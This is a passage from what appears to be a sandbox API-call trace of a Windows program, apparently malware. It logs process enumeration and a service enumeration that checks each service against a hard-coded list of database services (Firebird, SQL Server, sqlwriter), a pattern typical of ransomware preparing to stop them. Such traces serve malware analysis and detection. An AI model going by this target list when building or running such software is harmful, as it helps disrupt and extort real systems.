lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0278.702] lstrlenW (lpString="chrome64b.exe") returned 13 [0278.702] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0278.703] lstrlenW (lpString="consent.exe") returned 11 [0278.703] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0278.705] CloseHandle (hObject=0x548) returned 1 [0278.705] Sleep (dwMilliseconds=0x1f4) [0279.417] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a068 [0279.418] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0279.418] GetLastError () returned 0xea [0279.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45de478 [0279.457] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45de478, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45de478, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0279.459] CloseServiceHandle (hSCObject=0x69a068) returned 1 [0279.466] lstrlenW (lpString="Appinfo") returned 7 [0279.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0279.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0279.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0279.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0279.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0279.466] lstrlenW (lpString="AppXSvc") returned 7 [0279.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0279.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0279.467] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0279.467] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0279.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0279.467] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0279.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0279.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0279.467] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0279.467] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0279.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0279.467] lstrlenW (lpString="Audiosrv") returned 8 [0279.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0279.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0279.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0279.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0279.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0279.467] lstrlenW (lpString="BFE") returned 3 [0279.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0279.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0279.467] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0279.467] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0279.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0279.467] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0279.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0279.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0279.468] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0279.468] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0279.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0279.468] lstrlenW (lpString="CDPSvc") returned 6 [0279.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0279.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0279.468] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0279.468] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0279.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0279.468] lstrlenW (lpString="ClickToRunSvc") returned 13 [0279.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0279.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0279.468] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0279.468] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0279.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0279.468] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0279.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0279.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0279.469] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0279.469] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0279.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0279.469] lstrlenW (lpString="CryptSvc") returned 8 [0279.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0279.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0279.469] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0279.469] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0279.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0279.469] lstrlenW (lpString="DcomLaunch") returned 10 [0279.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0279.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0279.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0279.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0279.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0279.469] lstrlenW (lpString="DeviceAssociationService") returned 24 [0279.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0279.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0279.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0279.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0279.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0279.469] lstrlenW (lpString="Dhcp") returned 4 [0279.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0279.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0279.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0279.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0279.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0279.470] lstrlenW (lpString="Dnscache") returned 8 [0279.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0279.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0279.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0279.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0279.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0279.470] lstrlenW (lpString="DPS") returned 3 [0279.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0279.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0279.470] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0279.470] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0279.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0279.470] lstrlenW (lpString="DusmSvc") returned 7 [0279.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0279.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0279.471] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0279.471] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0279.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0279.471] lstrlenW (lpString="EventLog") returned 8 [0279.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0279.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0279.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0279.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0279.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0279.471] lstrlenW (lpString="EventSystem") returned 11 [0279.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0279.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0279.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0279.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0279.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0279.471] lstrlenW (lpString="FontCache") returned 9 [0279.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0279.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0279.471] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0279.471] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0279.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0279.471] lstrlenW (lpString="gpsvc") returned 5 [0279.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0279.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0279.472] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0279.472] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0279.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0279.472] lstrlenW (lpString="iphlpsvc") returned 8 [0279.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0279.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0279.472] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0279.472] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0279.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0279.472] lstrlenW (lpString="KeyIso") returned 6 [0279.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0279.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0279.472] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0279.472] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0279.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0279.648] lstrlenW (lpString="LanmanServer") returned 12 [0279.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0279.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0279.649] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0279.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0279.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0279.649] lstrlenW (lpString="LanmanWorkstation") returned 17 [0279.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0279.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0279.649] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0279.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0279.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0279.649] lstrlenW (lpString="lfsvc") returned 5 [0279.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0279.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0279.649] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0279.649] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0279.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0279.649] lstrlenW (lpString="lmhosts") returned 7 [0279.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0279.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0279.649] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0279.649] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0279.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0279.649] lstrlenW (lpString="LSM") returned 3 [0279.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0279.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0279.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0279.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0279.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0279.650] lstrlenW (lpString="MpsSvc") returned 6 [0279.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0279.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0279.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0279.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0279.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0279.650] lstrlenW (lpString="NcbService") returned 10 [0279.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0279.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0279.650] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0279.650] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0279.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0279.650] lstrlenW (lpString="netprofm") returned 8 [0279.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0279.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0279.650] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0279.650] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0279.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0279.650] lstrlenW (lpString="NgcSvc") returned 6 [0279.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0279.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0279.651] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0279.651] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0279.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0279.652] lstrlenW (lpString="NlaSvc") returned 6 [0279.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0279.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0279.652] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0279.652] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0279.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0279.652] lstrlenW (lpString="nsi") returned 3 [0279.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0279.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0279.652] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0279.652] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0279.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0279.652] lstrlenW (lpString="PcaSvc") returned 6 [0279.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0279.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0279.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0279.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0279.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0279.652] lstrlenW (lpString="PlugPlay") returned 8 [0279.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0279.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0279.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0279.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0279.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0279.653] lstrlenW (lpString="Power") returned 5 [0279.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0279.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0279.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0279.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0279.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0279.653] lstrlenW (lpString="ProfSvc") returned 7 [0279.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0279.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0279.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0279.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0279.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0279.653] lstrlenW (lpString="RpcEptMapper") returned 12 [0279.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0279.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0279.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0279.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0279.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0279.653] lstrlenW (lpString="RpcSs") returned 5 [0279.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0279.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0279.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0279.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0279.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0279.653] lstrlenW (lpString="SamSs") returned 5 [0279.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0279.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0279.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0279.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0279.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0279.654] lstrlenW (lpString="Schedule") returned 8 [0279.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0279.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0279.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0279.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0279.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0279.654] lstrlenW (lpString="SecurityHealthService") returned 21 [0279.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0279.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0279.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0279.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0279.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0279.654] lstrlenW (lpString="SENS") returned 4 [0279.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0279.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0279.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0279.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0279.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0279.654] lstrlenW (lpString="ShellHWDetection") returned 16 [0279.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0279.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0279.655] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0279.655] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0279.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0279.655] lstrlenW (lpString="Spooler") returned 7 [0279.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0279.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0279.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0279.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0279.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0279.655] lstrlenW (lpString="StateRepository") returned 15 [0279.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0279.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0279.655] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0279.655] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0279.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0279.655] lstrlenW (lpString="SysMain") returned 7 [0279.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0279.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0279.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0279.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0279.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0279.655] lstrlenW (lpString="SystemEventsBroker") returned 18 [0279.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0279.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0279.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0279.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0279.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0279.656] lstrlenW (lpString="Themes") returned 6 [0279.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0279.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0279.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0279.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0279.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0279.656] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0279.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0279.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0279.656] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0279.656] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0279.656] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45de478 | out: hHeap=0x640000) returned 1 [0279.763] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x41c [0279.772] Process32FirstW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.773] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, 